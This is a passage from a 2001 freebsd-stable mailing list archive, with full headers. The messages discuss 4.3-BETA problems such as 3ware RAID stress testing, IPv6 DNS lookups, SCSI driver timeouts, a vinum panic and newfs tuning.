didn't get ports for sbxvi snd0: WARNING: "snd" is usurping "snd"'s cdevsw[] sbxvi0: driver is using old-style compatability shims sbmidi0 at port 0x330 on isa0 snd0: FreeBSD swarzschild.ninja.cx 4.3-BETA FreeBSD 4.3-BETA #0: Sat Mar 10 13:35:17 PST 2001 kevin@swarzschild.ninja.cx:/usr/obj/usr/src/sys/SWARZSCHILD i386 -- "All my friends and I are crazy. That's the only thing that keeps us sane." kevin@dycom.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 21:26:41 2001 Delivered-To: freebsd-stable@freebsd.org Received: from agena.meridian-enviro.com (thunder.meridian-enviro.com [207.109.234.227]) by hub.freebsd.org (Postfix) with ESMTP id CC0FD37B719; Thu, 15 Mar 2001 21:26:37 -0800 (PST) (envelope-from rand@meridian-enviro.com) Received: from delta.meridian-enviro.com (delta.meridian-enviro.com [10.10.10.43]) by agena.meridian-enviro.com (8.11.1/8.9.3) with ESMTP id f2G5QXQ63690; Thu, 15 Mar 2001 23:26:33 -0600 (CST) (envelope-from rand@meridian-enviro.com) Date: Thu, 15 Mar 2001 23:26:33 -0600 Message-ID: <8766hanv1y.wl@delta.meridian-enviro.com> From: rand@meridian-enviro.com To: Mike Tancsa Cc: rand@meridian-enviro.com, Mike Smith , freebsd-stable@FreeBSD.ORG, bryanh@meridian-enviro.com Subject: Re: 3ware problems In-Reply-To: <5.0.2.1.0.20010315142949.03387c00@marble.sentex.ca> References: <4.2.2.20010314203128.030e6c20@marble.sentex.net> <200103150029.f2F0TTF04572@mass.dis.org> <87g0gfopf4.wl@delta.meridian-enviro.com> <87elvzoona.wl@delta.meridian-enviro.com> <87bsr2ones.wl@delta.meridian-enviro.com> <5.0.2.1.0.20010315142949.03387c00@marble.sentex.ca> User-Agent: Wanderlust/2.5.8 (Smooth) SEMI/1.14.3 (Ushinoya) FLIM/1.14.2 (Yagi-Nishiguchi) APEL/10.2 MULE XEmacs/21.1 (patch 14) (Cuyahoga Valley) (i386--freebsd) X-Face: $L%T~#'9fAQ])o]A][d7EH`V;"_;2K;TEPQB=v]rDf_2s% on Thu, 15 Mar 2001 14:33:29 -0500 ** in [Re: 3ware problems ] writes: Mike> I tried yesterday to stress the machine with 25 simultaneous Mike> bonnie -s 500 & Mike> Although the machine was sluggish, it still worked. Similarly, Mike> make -j12 buildworld worked. In the past when i saw a similar Mike> bug, I could reproduce it 100% of the time this way. Earlier today I ran 30 concurrent "bonnie -s 500" and while things were slow, no problems showed up. Right now I'm on my 7th "make -j16 build world" and its working fine. After this buildworld finishes, I think I'll start up a shell script to keep 20 concurrent bonnie's running overnight. (The buildworlds are taking about 70 minutes to complete. The system is a dual PIII 400MHz with 384MB of RAM on a SuperMicro P6DBU. Not bad times.) So far the only way I can get the problem to show up is banging on MySQL for 3-12 hours. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 22: 6:50 2001 Delivered-To: freebsd-stable@freebsd.org Received: from obsecurity.dyndns.org (adsl-63-207-60-202.dsl.lsan03.pacbell.net [63.207.60.202]) by hub.freebsd.org (Postfix) with ESMTP id 5605637B719 for ; Thu, 15 Mar 2001 22:06:47 -0800 (PST) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 68F0E66B09; Thu, 15 Mar 2001 22:06:46 -0800 (PST) Date: Thu, 15 Mar 2001 22:06:46 -0800 From: Kris Kennaway To: Stephen Cc: freebsd-stable@freebsd.org Subject: Re: 4.3-BETA2, name resolution problem? Message-ID: <20010315220646.A71149@mollari.cthul.hu> References: <20010315161333.A14337@visi.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="UugvWAfsgieZRqgk" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010315161333.A14337@visi.com>; from sdk@shell.yuck.net on Thu, Mar 15, 2001 at 04:13:33PM -0600 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --UugvWAfsgieZRqgk Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Mar 15, 2001 at 04:13:33PM -0600, Stephen wrote: > I've just installed 4.3-BETA2 and compiled a custom kernel with IPv6 > disabled and have nothing IPv6 related in /etc/rc.conf. I'm noticing slow > telnet and fetch connect times, and after snooping with Ethereal, found > that it's trying to resolve my FQ hostname via DNS with a type 'AAAA' > (IPv6?) before falling back to type 'A'. 4.2-R doesn't appear to do this= . =20 > Is this a config problem on my part, or maybe a downstream DNS that's > outdated, or a bug? Nothing's changed in recent months that I recall, but I can't speak authoritately about what happened around the time of 4.2-R. Are you running a local nameserver? Try running mergemaster - perhaps you have an outdated config file which is causing resolution to act weirdly. Kris --UugvWAfsgieZRqgk Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE6sa12Wry0BWjoQKURAvD6AKDLDI+/0IphGN5TkIbZAy+Ii+8fJgCfejH0 JetYLTWKqAmsKDGET3KTKHE= =ZzB8 -----END PGP SIGNATURE----- --UugvWAfsgieZRqgk-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 22:10:21 2001 Delivered-To: freebsd-stable@freebsd.org Received: from odin.ac.hmc.edu (Odin.AC.HMC.Edu [134.173.32.75]) by hub.freebsd.org (Postfix) with ESMTP id 7090C37B719 for ; Thu, 15 Mar 2001 22:10:17 -0800 (PST) (envelope-from brdavis@odin.ac.hmc.edu) Received: (from brdavis@localhost) by odin.ac.hmc.edu (8.11.0/8.11.0) id f2G5hoo22287; Thu, 15 Mar 2001 21:43:50 -0800 Date: Thu, 15 Mar 2001 21:43:50 -0800 From: Brooks Davis To: The Babbler Cc: kstewart@urx.com, Francisco Reyes , Torben Baecker , j mckitrick , freebsd-stable@FreeBSD.ORG Subject: Re: New KERNCONF option Message-ID: <20010315214350.A20845@Odin.AC.HMC.Edu> References: <3AB0C76D.D7FD7322@urx.com> <3AB187C0.88B6D724@babbleon.org> <20010315194351.A8706@Odin.AC.HMC.Edu> <3AB1930D.B38B78E4@babbleon.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="mP3DRpeJDSE+ciuQ" Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <3AB1930D.B38B78E4@babbleon.org>; from bts@babbleon.org on Thu, Mar 15, 2001 at 11:14:05PM -0500 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --mP3DRpeJDSE+ciuQ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Mar 15, 2001 at 11:14:05PM -0500, The Babbler wrote: > In fact the section of the handbook at=20 >=20 > http://www.freebsd.org/handbook/synching.html >=20 > says quite explicitly that you can get only the parts you want. > > Might be a good clarification for the handbook that though it's a nice > interface one isn't allowed to actually choose any old options after > bringing it up. The problem there is actually that it's unclear about what constitues a "part". In short the parts in question are src, doc, www, and ports (of which you can only update pieces, say only English and your native language if not English). Personaly there's nothing at all complicated about using the cvsup files in /usr/shared/examples/cvsup so I always use those. > Am I reading the wrong section of the handbook? That's the right section of the handbook, though the make world section isn't really very current. > Should I be reading something else entirely? Once you update all of /usr/src you can and are expected to read /usr/src/UPDATING which lists the commands you should execute to upgrade your world and kernel. -- Brooks --=20 Any statement of the form "X is the one, true Y" is FALSE. PGP fingerprint 655D 519C 26A7 82E7 2529 9BF0 5D8E 8BE9 F238 1AD4 --mP3DRpeJDSE+ciuQ Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE6sagWXY6L6fI4GtQRAsNqAJ9FmGXbRR8aSU1sEZnYTknd5xG9hwCgq6UU rS0Nr7eR04bwGpn5CvT8eOg= =dfzV -----END PGP SIGNATURE----- --mP3DRpeJDSE+ciuQ-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 22:18:56 2001 Delivered-To: freebsd-stable@freebsd.org Received: from ns.raditex.se (mail.raditex.se [192.5.36.21]) by hub.freebsd.org (Postfix) with ESMTP id B0E7237B718 for ; Thu, 15 Mar 2001 22:18:53 -0800 (PST) (envelope-from kaj@raditex.se) Received: from gandalf.Raditex.se (gandalf.raditex.se [192.5.36.18]) by ns.raditex.se (8.9.3/8.9.3) with ESMTP id HAA65599; Fri, 16 Mar 2001 07:18:52 +0100 (CET) (envelope-from kaj@raditex.se) Received: from frodo.sickla.raditex.se (frodo.sickla.raditex.se [192.168.37.9]) by gandalf.Raditex.se (8.9.3/8.9.3) with ESMTP id HAA05873; Fri, 16 Mar 2001 07:18:52 +0100 (CET) (envelope-from kaj@raditex.se) Received: (from kaj@localhost) by frodo.sickla.raditex.se (8.11.0/8.11.0) id f2G6Io605016; Fri, 16 Mar 2001 07:18:50 +0100 (CET) (envelope-from kaj@raditex.se) X-Authentication-Warning: frodo.sickla.raditex.se: kaj set sender to kaj@raditex.se using -f To: stable@freebsd.org Subject: C++ problem in sys/socket.h From: Rasmus Kaj Original-Sender: kaj@Raditex.se Cc: Rasmus Kaj Organization: Raditex AB - http://Raditex.se/ X-Face: M9cR~WYav<"fu%MaslX0`43PAYY?uIsM8[#E(0\Xuy9rj>4gE\h3jm.7DD?]R8*^7T\o&vT U@[53Dwkuup4[0@gw#~kyu>`unH?kVj9CJa02(h>Ki\+i=%rn%sDf^KC.!?IHkKjMAbkd\jgmphp^' d|Q;OeXEAhq?ybGqOs1CHb6TJT42'C`Krnk61//AOfXtNjj/t'`5>Vw0QX!dKfOL$.f+S"LIuwR<;I Z0Qnnx(F^F]o@*V%TUtEV'1Z[TkOl^FFV9Z~A[b19%}uP*,huCU Date: 16 Mar 2001 07:18:50 +0100 Message-ID: <84elvy5j91.fsf@frodo.sickla.raditex.se> Lines: 20 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Capitol Reef) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I got a mail from bento about a compiler problem in one of my ports, see [1], but I can't reproduce it on any of my -STABLE machines (which are about a month old). It seems that something has broken /usr/include/sys/socket.h for C++ somewhere between my last update (which is 1.39.2.3) and bento's, both in -STABLE and -CURRENT. Should it be fixed or is there a workaround? I did check through cvsweb, and sys/socket.h has some changes, but I don't see which of them is so harmful ... [1] http://people.freebsd.org/~fenner/errorlogs/rasmus@kaj.se.html Please cc any answers to me, as I lag a bit on the stabe list ... -- Rasmus Kaj ------------------------ rasmus@kaj.se - http://Raditex.se/~kaj/ \ Pro is to con as progress is to Congress \----------------------------------------------------- http://Raditex.se/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 22:31:30 2001 Delivered-To: freebsd-stable@freebsd.org Received: from nova.fnal.gov (nova.fnal.gov [131.225.121.207]) by hub.freebsd.org (Postfix) with ESMTP id DFA1137B719 for ; Thu, 15 Mar 2001 22:31:27 -0800 (PST) (envelope-from zingelman@fnal.gov) Received: from localhost (tez@localhost) by nova.fnal.gov (8.9.3+Sun/8.9.3) with ESMTP id AAA10306; Fri, 16 Mar 2001 00:36:45 -0600 (CST) X-Authentication-Warning: nova.fnal.gov: tez owned process doing -bs Date: Fri, 16 Mar 2001 00:36:45 -0600 (CST) From: Tim Zingelman X-Sender: To: Rasmus Kaj Cc: Subject: Re: C++ problem in sys/socket.h In-Reply-To: <84elvy5j91.fsf@frodo.sickla.raditex.se> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > It seems that something has broken /usr/include/sys/socket.h for C++ > somewhere between my last update (which is 1.39.2.3) and bento's, both > in -STABLE and -CURRENT. Should it be fixed or is there a workaround? > > I did check through cvsweb, and sys/socket.h has some changes, but I > don't see which of them is so harmful ... > > [1] http://people.freebsd.org/~fenner/errorlogs/rasmus@kaj.se.html I got very similar errors compiling the mtr port before I grabbed the latest updates to the ports tree. It appears that in this case the fix was to #include before sys/socket.h - Tim To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 23:29:35 2001 Delivered-To: freebsd-stable@freebsd.org Received: from ns2.alphaque.com (ns2.alphaque.com [202.185.254.11]) by hub.freebsd.org (Postfix) with SMTP id E771D37B718 for ; Thu, 15 Mar 2001 23:29:29 -0800 (PST) (envelope-from dinesh@alphaque.com) Received: (qmail 2254 invoked from network); 16 Mar 2001 07:29:23 -0000 Received: from j204.brf82.jaring.my (HELO prophet.alphaque.com) (161.142.153.218) by ns2.alphaque.com with SMTP; 16 Mar 2001 07:29:23 -0000 Received: from localhost (j82etp@localhost.alphaque.com [127.0.0.1]) by prophet.alphaque.com (8.11.3/8.11.3) with ESMTP id f2G6VMY40587; Fri, 16 Mar 2001 14:31:22 +0800 (MYT) (envelope-from dinesh@alphaque.com) Date: Fri, 16 Mar 2001 14:31:21 +0800 (MYT) From: Dinesh Nair To: Stephen Cc: freebsd-stable@freebsd.org Subject: Re: 4.3-BETA2, name resolution problem? In-Reply-To: <20010315161333.A14337@visi.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 15 Mar 2001, Stephen wrote: > that it's trying to resolve my FQ hostname via DNS with a type 'AAAA' > (IPv6?) before falling back to type 'A'. 4.2-R doesn't appear to do this. i saw this with sendmail when i bumped up to 4.3R. the fix there was to recompile sendmail without IPv6. however telnet and others worked the way the were supposed to. --dinesh To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 0:15: 8 2001 Delivered-To: freebsd-stable@freebsd.org Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44]) by hub.freebsd.org (Postfix) with ESMTP id A2C0E37B71C; Fri, 16 Mar 2001 00:15:04 -0800 (PST) (envelope-from Cy.Schubert@uumail.gov.bc.ca) Received: (from daemon@localhost) by point.osg.gov.bc.ca (8.8.7/8.8.8) id AAA25673; Fri, 16 Mar 2001 00:14:53 -0800 Received: from passer.osg.gov.bc.ca(142.32.110.29) via SMTP by point.osg.gov.bc.ca, id smtpda25670; Fri Mar 16 00:14:50 2001 Received: (from uucp@localhost) by passer.osg.gov.bc.ca (8.11.2/8.9.1) id f2G8EiN41828; Fri, 16 Mar 2001 00:14:44 -0800 (PST) Received: from cwsys9.cwsent.com(10.2.2.1), claiming to be "cwsys.cwsent.com" via SMTP by passer9.cwsent.com, id smtpdq41826; Fri Mar 16 00:14:35 2001 Received: (from uucp@localhost) by cwsys.cwsent.com (8.11.3/8.9.1) id f2G8EZI01155; Fri, 16 Mar 2001 00:14:35 -0800 (PST) Message-Id: <200103160814.f2G8EZI01155@cwsys.cwsent.com> Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwsent.com, id smtpdSm1151; Fri Mar 16 00:13:59 2001 X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 Reply-To: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-Sender: schubert To: "Andrew Reilly" Cc: Jordan Hubbard , stable@FreeBSD.ORG, gibbs@FreeBSD.ORG Subject: Re: Uh oh. Looks like something broke with the AHC driver.. In-reply-to: Your message of "Wed, 14 Mar 2001 22:34:03 +1100." <20010314223403.A56449@gurney.reilly.home> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 16 Mar 2001 00:13:59 -0800 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <20010314223403.A56449@gurney.reilly.home>, "Andrew Reilly" writes: > On Wed, Mar 14, 2001 at 01:31:16AM -0800, Jordan Hubbard wrote: > > I'm just testing the 4.3-BETA2 on my standard scratchbox (a dual PIII/500 > > with two 9.1GB Quantum drives) and with the latest BETA build, I'm > > seeing an unusual problem during extraction of the distribution bits: > > > > First, I start getting the following message looping on the > > console: > > > > (da0:ahc0:0:0:0): Invalidating pack > > > > > > (cd0:ahc0:0:4:0): SCB 0x12 - timed out in Data-out phase, SEQADDR == 0x8 > > STACK == 0x3, 0x181, 0x16b, 0x0 > > SXFRCTL0 == 0x80 > > ahc0: Dumping Card State at SEQADDR 0x8 > > SCSISEQ = 0x12, SBLKCTL = 0xa, SSTAT0 0x0 > > SCB count = 90 > > Kernel NEXTQSCB = 20 > > Card NEXTQSCB = 20 > > QINFIFO entries: > > Waiting Queue entries: > > Disconnected Queue entries: > > > > > > Suffice it to say that the installation croaks at this point. Now > > here's the interesting bit: This only happens reliably if I enable > > soft updates on the root partition. Any real correlation? I have no > > idea. Anyway, JFYI. If I can start reproducing it in other ways, > > I'll let you know whether I've started to consider it a release > > show-stopper bug or not. > > Here's a possible "me too". I haven't reported this before > because (a) da2 is my backup Fujitsu MO drive, and it does do > odd things occasionally, and (b) the backup disk is currently > full and I haven't thrown the requisite round-tuit at it. > > If this actually represents a problem, and I can help with > debugging it, please just say what you need... > > Following are a chunk of kernel messages from /var/log/messages > and the contents of /var/run/dmesg.boot. The system is: > > FreeBSD gurney.reilly.home 4.3-BETA FreeBSD 4.3-BETA #7: Sun Mar 11 13:38:49 > EST 2001 root@gurney.reilly.home:/usr/obj/usr/src/sys/GURNEY i386 > Mar 14 03:11:24 gurney /kernel: (da2:ahc0:0:6:0): SCB 0x3 - timed out while > idle, SEQADDR == 0x7 About a month ago I had this problem too. At first it was infrequent becoming much worse later. A scan by the the Adaptec disk scan utility showed me that the disk had gone bad. Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Team Leader, Sun/Alpha Team Internet: Cy.Schubert@osg.gov.bc.ca Open Systems Group, ITSD, ISTA Province of BC To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 0:25:34 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mail.nbrewer.com (sparge.nbrewer.com [208.42.68.70]) by hub.freebsd.org (Postfix) with ESMTP id 36D2837B719; Fri, 16 Mar 2001 00:25:29 -0800 (PST) (envelope-from chris@nbrewer.com) Received: by mail.nbrewer.com (Postfix, from userid 1001) id 753C2383056; Fri, 16 Mar 2001 02:25:28 -0600 (CST) Date: Fri, 16 Mar 2001 02:25:28 -0600 From: Christopher Farley To: joup@bigfoot.com Cc: freebsd-questions@freebsd.org, freebsd-stable@freebsd.org Subject: Re: newbie / bug reporting Message-ID: <20010316022526.A4683@northernbrewer.com> Mail-Followup-To: Christopher Farley , joup@bigfoot.com, freebsd-questions@freebsd.org, freebsd-stable@freebsd.org References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from joup@bigfoot.com on Thu, Mar 15, 2001 at 11:23:21PM -0800 Organization: Northern Brewer, St. Paul, MN Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG joup@bigfoot.com (joup@bigfoot.com) wrote: > > Hi, > > I'm running 4.2-RELEASE and it seems like I'm getting a bug similar to > > kern/21827: mount causes freebsd 4.1.1 to reboot > referenced at: > http://www.FreeBSD.org/cgi/getmsg.cgi?fetch=1005923+1008384+/usr/local/www/db/text/2000/freebsd-bugs/20001008.freebsd-bugs > > which applies only to 4.1.1, not 4.2. It is still open, but it doesn't > look like there's any mention of it with regards to 4.2. What should I > do? I was able to reproduce this under 4.3-BETA. A hard reboot and 30 minutes with fsck is a rather painful penalty for such an act. This PR is classified as 'open', which means that 'no sanity checking has been performed'. This was discussed in -STABLE back in November, however I don't think a patch was commited. -- Christopher Farley www.northernbrewer.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 0:37:52 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mx0.gmx.net (mx0.gmx.net [213.165.64.100]) by hub.freebsd.org (Postfix) with SMTP id 7CA8F37B71C for ; Fri, 16 Mar 2001 00:37:50 -0800 (PST) (envelope-from j.nohl@gmx.de) Received: (qmail 12336 invoked by uid 0); 16 Mar 2001 08:37:49 -0000 Date: Fri, 16 Mar 2001 09:37:49 +0100 (MET) From: =?ISO-8859-1?Q?J=FCrgen?= Nohl To: stable@FreeBSD.org MIME-Version: 1.0 Subject: X-Priority: 3 (Normal) X-Authenticated-Sender: #0002037645@gmx.net X-Authenticated-IP: [193.31.19.130] Message-ID: <10489.984731869@www21.gmx.net> X-Mailer: WWW-Mail 1.5 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG -- Sent through GMX FreeMail - http://www.gmx.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 0:53:52 2001 Delivered-To: freebsd-stable@freebsd.org Received: from web1608.mail.yahoo.com (web1608.mail.yahoo.com [128.11.23.150]) by hub.freebsd.org (Postfix) with SMTP id 4A57137B719 for ; Fri, 16 Mar 2001 00:53:50 -0800 (PST) (envelope-from wyldephyre2@yahoo.com) Received: (qmail 16081 invoked by uid 60001); 16 Mar 2001 08:53:50 -0000 Message-ID: <20010316085350.16080.qmail@web1608.mail.yahoo.com> Received: from [210.50.57.165] by web1608.mail.yahoo.com; Fri, 16 Mar 2001 00:53:50 PST Date: Fri, 16 Mar 2001 00:53:50 -0800 (PST) From: Haikal Saadh Subject: Re: 4.3-BETA To: freebsd-stable@FreeBSD.ORG In-Reply-To: <010b01c0adbc$eb1654a0$1200a8c0@gsicomp.on.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --- Matthew Emmerton wrote: > > What is a BETA system? Is it similiar to CURRENT? > > Please search through the mailing list archives > before asking questions. > This has been answered many times over the last two > weeks. > > 4.2-STABLE became 4.3-BETA when the code was frozen, > prior to becoming > 4.3-RELEASE. > Oooh...as a newbie, I've been bitten twice by this...CVSUPing hoping the get the latest STABLE, but get a BETA (4.1.1, and now 4.3)... I always thought I had made an error in my supfiles, and since nothing major seemed to have broke, just ignored it. Perhaps it would be a good idea to make it so that either: - UPDATING mentions that it's a beta you have, OR - not put BETAs into the STABLE branch? Just a newbie's opinion. __________________________________________________ Do You Yahoo!? Get email at your own domain with Yahoo! Mail. http://personal.mail.yahoo.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 1:13: 3 2001 Delivered-To: freebsd-stable@freebsd.org Received: from piano.mahoroba.org (to2-093.netspace.or.jp [202.210.89.93]) by hub.freebsd.org (Postfix) with ESMTP id 9EEEB37B71A; Fri, 16 Mar 2001 01:12:59 -0800 (PST) (envelope-from ume@FreeBSD.org) Received: from localhost (IDENT:oldcHF4yhlqdocqL732wHlsh3rsZMkN74Gz1pskfz2NU2TG3BG8Xe+u2Bb1joNDC@localhost [::1]) (authenticated as ume with CRAM-MD5 (0 bits)) by piano.mahoroba.org (8.12.0.Beta5/8.12.0.Beta5/piano) with ESMTP id f2G9CUqp062678; Fri, 16 Mar 2001 18:12:37 +0900 (JST) (envelope-from ume@FreeBSD.org) Date: Fri, 16 Mar 2001 18:12:29 +0900 (JST) Message-Id: <20010316.181229.125831413.ume@FreeBSD.org> To: sdk@shell.yuck.net Cc: freebsd-stable@FreeBSD.org Cc: ume@FreeBSD.org Subject: Re: 4.3-BETA2, name resolution problem? From: Hajimu UMEMOTO In-Reply-To: <20010315161333.A14337@visi.com> References: <20010315161333.A14337@visi.com> X-Mailer: xcite1.38> Mew version 1.95b93 on Emacs 20.7 / Mule 4.0 =?iso-2022-jp?B?KBskQjJWMWMbKEIp?= X-PGP-Public-Key: http://www.imasy.org/~ume/publickey.asc X-PGP-Fingerprint: 6B 0C 53 FC 5D D0 37 91 05 D0 B3 EF 36 9B 6A BC X-URL: http://www.imasy.org/~ume/ X-OS: FreeBSD 4.3-BETA Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> On Thu, 15 Mar 2001 16:13:33 -0600 >>>>> Stephen said: sdk> I've just installed 4.3-BETA2 and compiled a custom kernel with IPv6 sdk> disabled and have nothing IPv6 related in /etc/rc.conf. I'm noticing slow sdk> telnet and fetch connect times, and after snooping with Ethereal, found How slow is it? sdk> that it's trying to resolve my FQ hostname via DNS with a type 'AAAA' sdk> (IPv6?) before falling back to type 'A'. 4.2-R doesn't appear to do this. Now, getaddrinfo(3) always queries AAAA RR in addition to A RR even if kernel doesn't support IPv6. It is real behavior of getaddrinfo(3) without specifying AI_ADDRCONFIG. Because, query for AAAA RR and A RR is done in same time, it should not be a problem. Once there was DNS query order problem at 4.0-RELEASE days. But, I believe it was completely corrected. -- Hajimu UMEMOTO @ Internet Mutual Aid Society Yokohama, Japan ume@mahoroba.org ume@bisd.hitachi.co.jp ume@{,jp.}FreeBSD.org http://www.imasy.org/~ume/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 1:26:24 2001 Delivered-To: freebsd-stable@freebsd.org Received: from earth.backplane.com (earth-nat-cw.backplane.com [208.161.114.67]) by hub.freebsd.org (Postfix) with ESMTP id D8EEA37B71A for ; Fri, 16 Mar 2001 01:26:20 -0800 (PST) (envelope-from dillon@earth.backplane.com) Received: (from dillon@localhost) by earth.backplane.com (8.11.2/8.9.3) id f2G9Q4D57263; Fri, 16 Mar 2001 01:26:04 -0800 (PST) (envelope-from dillon) Date: Fri, 16 Mar 2001 01:26:04 -0800 (PST) From: Matt Dillon Message-Id: <200103160926.f2G9Q4D57263@earth.backplane.com> To: Harald Schmalzbauer Cc: stable@FreeBSD.ORG Subject: Re: yet another vinum panic (was How to debug - find error?) References: <28718.984707028@www10.gmx.net> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Ok. First, don't worry about trying to get a kernel core, it probably won't help in this case. We've been trying to find this particular bug for months with little success, and what core's we've gotten have been useless because the corruption is occuring long before the actual panic. Each little bit of information helps. I consider ccd reliable, so I believe what is happening is that the use of the software raid system is creating a tiny bit of extra latency which is causing the bug (elsewhere in the filesystem code) to rear its ugly head. It gives me another area to research... I'll try running filesystem tests in a software RAID-1 configuration with ccd. :Lots of small (500k)(~500.000) and a view bigger (10M) You can reduce your fsck time considerably if you are storing large files in the filesystem by reducing the number of inodes in the filesystem, increasing the block size, and increasing the number of cylinders per group. I would recommend something like this: newfs -f 2048 -b 16384 -i 262144 -c 999 .... The only downside is that this will result in fewer inodes. But if you only store larger (e.g. greater then 32K) files in the filesystem, you shouldn't run out. See 'man newfs' for more information on the above options. Note: The fragment size (-f option) must always be 1/8 the block size (-b option), and I do not recommend using any block size other then 8192 (the default), or 16384 on a production system. -Matt :>There are all sorts of possible sources to the problem unfortunately, :>it may not be possible to easily diagnose it. It could be the RAID, :>NFS, a bug in the kernel, a bug in the network stack... just about :... : :I don't think this is anything other related than to the IDE drives. The :RAID was in operation for half a year without any error, the NFS-Mounts are the :same I do for one year. This panic just occurs if I configure a software :raid. :Everything is working fine when I do the same tests to one of the IDE drives :alone under the same circumstances. : :>The first thing I would do, if you haven't already, is upgrade to the :>absolute latest FreeBSD-stable kernel. : :I cvusped today and built world today. : :Thank you, : :-Harry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 1:31:15 2001 Delivered-To: freebsd-stable@freebsd.org Received: from guru.mired.org (okc-65-26-235-186.mmcable.com [65.26.235.186]) by hub.freebsd.org (Postfix) with SMTP id 0C3A237B718 for ; Fri, 16 Mar 2001 01:31:12 -0800 (PST) (envelope-from mwm@mired.org) Received: (qmail 78961 invoked by uid 100); 16 Mar 2001 09:31:10 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15025.56670.539540.505724@guru.mired.org> Date: Fri, 16 Mar 2001 03:31:10 -0600 To: Haikal Saadh Cc: freebsd-stable@FreeBSD.ORG Subject: Re: 4.3-BETA In-Reply-To: <20010316085350.16080.qmail@web1608.mail.yahoo.com> References: <010b01c0adbc$eb1654a0$1200a8c0@gsicomp.on.ca> <20010316085350.16080.qmail@web1608.mail.yahoo.com> X-Mailer: VM 6.89 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: 